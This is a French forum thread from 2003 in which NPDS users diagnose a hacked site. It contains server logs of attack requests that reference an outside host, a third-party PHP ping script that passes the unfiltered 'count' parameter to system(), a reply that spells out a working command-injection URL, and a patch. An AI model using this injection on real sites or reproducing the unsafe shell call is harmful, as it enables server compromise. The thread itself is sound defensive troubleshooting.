|
Tribal-Dolphin 4374
| Posté : 31-12-2003 06:57
Salut,
j'ai eu un message d'un de mes membres comme koi son site étais HS.
Voici le message :
"0wnZ by raydiax fags" suivi du message NPDS impossible de trouver la BDD
J'ai édité le log et voici les dernières visites :
80.134.118.182 - - [30/Dec/2003:13:07:08 -0600] "GET /php-ping.php?count=http://abc666cba.narod.ru/Packer&cmd=ls HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
80.134.118.182 - - [30/Dec/2003:13:07:18 -0600] "GET /php-ping.php?count=http://abc666cba.narod.ru/Packer&cmd=ls HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
80.134.118.182 - - [30/Dec/2003:13:07:42 -0600] "GET /mainfile.php?count=http://abc666cba.narod.ru/Packer&cmd=ls HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
80.134.118.182 - - [30/Dec/2003:13:07:48 -0600] "GET /mainfile.php HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
80.134.118.182 - - [30/Dec/2003:13:07:56 -0600] "GET /mainfile.php HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
Si vous trouver la Faille ..
Merci pour lui
[ Message édité par : Tribal-Dolphin : 31-12-2003 06:57 ] |  Profil
|
|
snipe 2450
| Posté : 31-12-2003 07:23
tu pourai pas envoyer les ligne plus haut et voir si tu peut nous passer son fichier php-ping
j ai l impresion que le pb vient de ce fichier. |  Profil E-mail
|
|
snipe 2450
| Posté : 31-12-2003 07:59
suis pret a parier que dans php-ping.php
y a une de c function :
escapeshellcmd
exec
passthru
proc_open
shell_exec
system
sans control de la variable cmd :) |  Profil E-mail
|
|
axel 10065
| Posté : 31-12-2003 13:25
snipe, il m'impressionne : il devine des trucs AVANT d'avoir vu le fichier
PS : ph-ping != NPDS... Donc, NPDS hacké, c pas encore pour aujourd'hui ! |  Profil E-mail www
|
|
GiamDoc 7063
| |
Tribal-Dolphin 4374
| Posté : 31-12-2003 19:05
Désolè pour la longueur mais le serveur est Out suite à l'attaque.
Dès que c revenu, je t'envoie tout ça ! |  Profil
|
|
snipe 2450
| Posté : 31-12-2003 19:09
sans prob, de toute facon moi je bosse toute la nuit :) |  Profil E-mail
|
|
Tribal-Dolphin 4374
| Posté : 31-12-2003 19:33
Voici le fichier
<?php
if(!IsSet($mainfile)) { !include! ("mainfile.php"); }
// Permanent double-side theme
global $pdsts;
$pdst="0";
if (($npds!="1") and ($npds!="-1")) {
$pdst=1;
} else {
$pdst=$npds;
}
if ($npds!="-1") {
!include! ("header.php");
}
openTable();
?>
<!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>The WorldsEnd.NET - Free Ping Script, written in PHP</title>
</head>
<?php
// This script was writen by webmaster@theworldsend.net, Aug.2001
// http://www.theworldsend.net
// This is my first script. Enjoy.
//
// Put it into whatever directory and call it. That's all.
// Updated to 4.2 code
// Get Variable from form via register globals on/off
//-------------------------
$max_count = 10; //maximum count for ping command
$unix = 1; //set this to 1 if you are on a *unix system
$windows = 0; //set this to 1 if you are on a windows system
// -------------------------
// nothing more to be done.
// -------------------------
//globals on or off ?
$register_globals = (bool) ini_get('register_gobals');
$system = ini_get('system');
$unix = (bool) $unix;
$win = (bool) $windows;
//
If ($register_globals)
{
$ip = getenv(REMOTE_ADDR);
$self = $PHP_SELF;
}
else
{
$submit = $_GET['submit'];
$count = $_GET['count'];
$host = $_GET['host'];
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
};
// form submitted ?
If ($submit == "Ping!")
{
// over count ?
If ($count > $max_count)
{
echo 'Maximum for count is: '.$max_count;
echo '<a href="'.$self.'">Back</a>';
}
else
{
// replace bad chars
$host= preg_replace ("/[^A-Za-z0-9.]/","",$host);
echo '<body bgcolor="#FFFFFF" text="#000000"></body>';
echo("Ping Output:<br>");
echo '<pre>';
//check target IP or domain
if ($unix)
{
system ("ping -c$count -w$count $host");
system("killall ping");// kill all ping processes in case there are some stalled ones or use echo 'ping' to execute ping without shell
}
else
{
system("ping -n $count $host");
}
echo '</pre>';
}
}
else
{
echo '<body bgcolor="#FFFFFF" text="#000000"></body>';
echo '<p><font size="2">Votre adresse IP est : '.$ip.'</font></p>';
echo '<form methode="post" action="'.$self.'">';
echo ' Entrer adresse IP ou Host : <input type="text" name="host" value="'.$ip.'"></input>';
echo ' Entrer count <input type="text" name="count" size="2" value="4"></input>';
echo ' <input type="submit" name="submit" value="Ping!"></input>';
echo '</form>';
echo '<br><b>'.$system.'</b>';
echo '</body></html>';
}
?>
<?
closeTable();
if ($npds!="-1") {
!include! ("footer.php");
}
?> |  Profil
|
|
Tribal-Dolphin 4374
| Posté : 31-12-2003 19:45
Je t'ai envoyer le log par mail
Merci |  Profil
|
|
snipe 2450
| Posté : 31-12-2003 20:31
j ai pas recu ton log mais le pb vien de la ;)
fait un test avec php-ping.php?count=4%20http://abc666cba.narod.ru/Packer|ls&submit=Ping%21
et tu vera que tu voie le contenu du rep,
maintenent tu lance un truc plus vache et j eclate tous les fichier que apache peut effacer :)
a ta place je lui dirait de corriger le code :)
[ Message édité par : snipe : 31-12-2003 20:40 ] |  Profil E-mail
|
|
snipe 2450
| Posté : 31-12-2003 20:38
Voila qui comble la faille en quetion :)
<?php
if(!IsSet($mainfile)) { !!include!! ("mainfile.php"); }
// Permanent double-side theme
global $pdsts;
$pdst="0";
if (($npds!="1") and ($npds!="-1")) {
$pdst=1;
} else {
$pdst=$npds;
}
if ($npds!="-1") {
!!include!! ("header.php");
}
openTable();
// This script was writen by <a href='mailto:webmaster@theworldsend.net' target='_blank' class='NOIR'>webmaster@theworldsend.net</a>, Aug.2001
// <a href='http://www.theworldsend.net' target='_blank' class='NOIR'>http://www.theworldsend.net</a>
// This is my first script. Enjoy.
//
// Put it into whatever directory and call it. That's all.
// Updated to 4.2 code
// Get Variable from form via register globals on/off
//--------
$max_count = 10; //maximum count for ping command
$unix = 1; //set this to 1 if you are on a *unix system
$windows = 0; //set this to 1 if you are on a windows system
// --------
// nothing more to be done.
// --------
//globals on or off ?
$register_globals = (bool) ini_get('register_gobals');
$system = ini_get('system');
$unix = (bool) $unix;
$win = (bool) $windows;
//
If ($register_globals)
{
$ip = getenv(REMOTE_ADDR);
$self = $PHP_SELF;
}
else
{
$submit = $_GET['submit'];
$count = $_GET['count'];
$host = $_GET['host'];
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
};
// form submitted ?
If ($submit == "Ping!")
{
// over count ?
//protect snp
if(!is_int($count)){
echo "Vas te fait foutre sal hackers";
}else{
//protect snp
If ($count > $max_count)
{
echo 'Maximum for count is: '.$max_count;
echo '<a href="'.$self.'">Back</a>';
}
else
{
// replace bad chars
$host= preg_replace ("/[^A-Za-z0-9.]/","",$host);
echo '<body bgcolor="#FFFFFF" text="#000000"></body>';
echo("Ping Output:<br>");
echo '<pre>';
//check target IP or domain
if ($unix)
{
system ("ping -c$count -w$count $host");
system("killall ping");// kill all ping processes in case there are some stalled ones or use echo 'ping' to execute ping without shell
}
else
{
system("ping -n $count $host");
}
echo '</pre>';
}
//protect snp
}
//protect snp
}
else
{
echo '<body bgcolor="#FFFFFF" text="#000000"></body>';
echo '<p><font size="2">Votre adresse IP est : '.$ip.'</font></p>';
echo '<form methode="post" action="'.$self.'">';
echo ' Entrer adresse IP ou Host : <input type="text" name="host" value="'.$ip.'"></input>';
echo ' Entrer count <input type="text" name="count" size="2" value="4"></input>';
echo ' <input type="submit" name="submit" value="Ping!"></input>';
echo '</form>';
echo '<br><b>'.$system.'</b>';
echo '</body></html>';
}
?>
<?
closeTable();
if ($npds!="-1") {
!!include!! ("footer.php");
}
?>
faut reenlever les !! au !!include!!
[ Message édité par : snipe : 31-12-2003 20:40 ] |  Profil E-mail
|
|
developpeur 24581
| Posté : 01-01-2004 00:12
ce n'est donc pas passer par NPDS si je comprend bien ! |  Profil E-mail www
|
|
Tribal-Dolphin 4374
| Posté : 01-01-2004 01:40
Très bien compris Dev.
C'est simplement une erreur grave de sécurité dans un script qu'il à téléchargé.
BONNE ANNÉE |  Profil
|
|
axel 10065
| Posté : 02-02-2004 11:45
et snipe qui te corrige le copde en 10 secondes...
ppppffffffffffffffffffffffffffffffffffffffffff |  Profil E-mail www
|
|
Tribal-Dolphin 4374
| Posté : 02-02-2004 11:53
Axel, tu sors |  Profil
|
|